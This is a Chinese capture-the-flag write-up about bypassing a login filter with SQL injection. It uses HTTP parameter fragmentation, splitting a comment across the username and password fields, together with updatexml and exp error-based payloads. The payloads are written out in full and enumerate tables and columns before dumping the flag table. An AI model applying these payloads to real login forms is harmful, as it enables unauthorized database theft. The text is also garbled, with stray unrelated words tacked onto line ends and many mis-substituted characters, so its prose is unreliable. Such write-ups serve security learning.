页面提示咱们POSTusername与password两个参数,看了看源码,里面提示了咱们sql语句sql
$sql="select * from users where username='$username' and password='$password'";
先随手post几个数试试,发现页面返回有四种形式,当输入admin,admin时返回Login failed,当输入admin',admin时发生报错,当输入admin' and '1'='1,admin时出现Sql injection detected,甚至输入(),admin返回了User name unknow error.,这就代表服务器端对输入字符进行了过滤,每当返回Sql injection detected就代表存在被过滤的字符或字符串。数据库
首先手动测一下username过滤了些啥:‘=‘、‘;’、‘#’、‘,’、‘()’、‘-’、union,limit,substr,floor,mid我已经感受username凉了,()都给滤了还玩个毛线服务器
接着去看看password有没有但愿:‘=’、‘;’、‘#’、‘-’、union、limit、substr,mid,floor,ExtractValue,updatexmlpost
大佬还给我留了一个NAME_CONST,但=又被和谐了,这么一来根本没软用,好一道劝退题啊学习
接下来确定又是学习没见过的科技的时间了spa
看了p神的操做,首先是基本操做用or语句报错整出了数据库名:error_based_hpfcode
经过库名的提示,这里有个hpf,hpf全称为HTTP Parameter Fragment,sql注入里有一种就叫http分割注入regexp
payload:orm
username=' or updatexml/*&password=*/(1,concat(0x3a,(select user())),1) or 'xml
这里username最后为 /* 而password最前面为*/ 在拼接的时候就实现了/* */注释功能
这一题的意思就是在username过滤(),password过滤报错语句,所以咱们要在username处使用报错语句,password处使用()
知道原理后开始操做:
知道了库名以后接下来就是拿表,但因为这里和谐了limit,=与like,这里须要用regexp来代替=
payload:
username=' or updatexml/*&password=*/(1,concat(0x7e,(SELECT group_concat(table_name) FROM information_schema.tables where table_schema regexp database()),0x7e),1) or '
爆字段:
payload:
username=' or updatexml/*&password=*/(1,concat(0x7e,(SELECT group_concat(column_name) FROM information_schema.columns where table_name regexp 'ffll44jj'),0x7e),1) or '
愉悦的去拿flag
payload:
username=' or updatexml/*&password=*/(1,concat(0x7e,(SELECT value FROM ffll44jj),0x7e),1) or '
虽然结果出来了,但想到前面p神还提到另外一种思路,因为题目没有过滤regexp,那么这里能够直接在password处采用exp报错
关于exp报错这里给出一个我所参考的连接:使用exp进行SQL报错注入
以前已经知道了数据库名,那么咱们直接来报表名:
payload:
username=0&password=' or exp(~(select*from (select group_concat(table_name) from information_schema.tables where table_schema regexp database() )x)) or '1
接着是列
payload:
username=0&password=' or exp(~(select*from (select group_concat(column_name) from information_schema.columns where table_name regexp 'ffll44jj' )x)) or '1
最后来dump数据:
payload:
username=0&password=' or exp(~(select*from (select value from ffll44jj )x)) or '1